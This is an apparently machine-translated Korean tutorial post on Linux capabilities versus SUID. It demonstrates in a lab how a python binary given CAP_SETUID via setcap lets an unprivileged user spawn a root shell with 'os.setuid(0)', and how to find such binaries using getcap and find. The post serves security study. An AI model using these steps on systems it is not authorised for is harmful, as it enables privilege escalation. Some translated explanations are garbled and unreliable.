setcap에 의해 설정된 제어 가능한 파일로 인한 권한 상승

krhackapt

Administrator
직원
기능 소개
Linux의 기능은 무엇입니까?


기능을 얻기 전에는 권한이 있는 프로세스와 권한이 없는 프로세스에 대한 바이너리 시스템만 있었고 권한 확인을 수행하기 위해 기존 UNIX 구현에서는 프로세스를 권한이 있는 프로세스(수퍼유저 또는 루트라고 함)와 권한이 없는 프로세스(유효 UID가 -영).


기능은 커널 사용자 또는 커널 수준 프로그램의 권한을 작은 덩어리로 나누어 프로세스에 특정 권한 있는 작업을 수행하는 데 충분한 권한을 부여할 수 있는 권한입니다.


기능과 SUID의 차이점


SUID: SUID는 설정된 사용자 ID를 나타내며 사용자가 파일의 소유자로서 파일을 실행할 수 있도록 해줍니다. 이는 파일 소유자(실행 중인 파일의 소유자 제외)의 권한으로 사용자에게 프로그램/파일을 실행할 수 있는 임시 권한을 부여하는 것으로 정의됩니다. 찾기 명령을 사용하면 쉽게 찾을 수 있습니다. 현재 디렉터리에 SUID가 설정된 모든 파일을 찾으려면 -perm 옵션을 사용할 수 있습니다. 이 옵션은 권한이 4000으로 설정된 파일만 인쇄합니다(프로세스가 루트 권한으로 일시적으로 실행되도록 허용)


. 임시 권한 주문
예:

<span>chmod</span> u+s /usr/bin/python<br>

SUID 파일을 찾으려면 find 명령을 사용하십시오.

find / -perm -u=s -type f <span>2</span> > ;<span>/dev/</span><span>null</span><br>


setcap-1.png에 의해 설정된 제어 가능한 파일로 인한 권한 상승



setcap 상세 설명 : setcap 상세 설명 - Farmer Operation and Maintenance - Blog Park
setcap 간략 설명 :

Capability의 주요 아이디어는 루트 사용자의 권한, 즉 루트 사용자의 권한을 다음과 같이 나누는 것입니다. 서로 다른 기능, 각 기능은 특정 권한 있는 작업을 나타냅니다. 예를 들어, <span>CAP_SYS_MODULE</span> 기능은 사용자가 커널 모듈을 로드(또는 언로드)할 수 있는 권한 있는 작업을 나타내고, <span>CAP_SETUID</span>는 사용자가 커널 모듈을 수정할 수 있는 권한 있는 작업을 나타냅니다. 프로세스의 사용자 ID입니다. 기능에서 시스템은 프로세스가 보유한 기능을 기반으로 권한 있는 작업에 대한 액세스 제어를 수행합니다. <br> getcap: setcap getcap -r / <span>2</span>><span>/dev/</span><span>null</span><br>
으로 설정된 파일 검색



setcap-2.png에 의해 설정된 제어 가능한 파일로 인한 권한 상승



OS: kali<br>테스트 사용자: root, <span>test</span><br> 먼저 루트 사용자를 사용하여 Python SUID <span>chmod</span> u+s /usr/bin/python<br>

을 제공합니다. 해당 SUID 권한이 있는 파일을 검색하여 성공적으로 찾았는지 확인합니다. / -perm -u=s -type f <span>2</span>><span>/dev/</span><span>null</span><br>









setcap-3.png에 의해 설정된 제어 가능한 파일로 인한 권한 상승






Python을 /tmp 디렉터리에 복사합니다. 모방의 구조는 <span>cp</span> /usr/bin/python<br> 기사의 구조와 유사합니다.


setcap-4.png에 의해 설정된 제어 가능한 파일로 인한 권한 상승







setcap은 tmp 디렉토리 <span>setcap</span> CAP_SETUID+ep /tmp/python<br> 에 있는 Python 사용자에게 임시 실행 권한을 부여합니다.

setcap-5.png에 의해 설정된 제어 가능한 파일로 인한 권한 상승



테스트 사용자로 전환하고 다음 명령을 실행하여 루트 권한을 얻습니다.


<span>getcap</span> -r / 2>/dev/null <span>#허가된 파일 쿼리</span><br>


setcap-6.png에 의해 설정된 제어 가능한 파일로 인한 권한 상승


./python -c <span>'import os;os.setuid(0);os.system("/bin/bash")'</span><br>
  • 1


setcap-7.png에 의해 설정된 제어 가능한 파일로 인한 권한 상승




getcap -r / 2>/dev/null #특정 파일이 가치 있는지 알아보기 위해 CAP_SETUID 권한이 부여된 파일을 쿼리합니다. 현재 우리는 사용할 수 있는 여러

<span>perl</span><br>python<br>tar을 발견했습니다.
 
뒤로
상단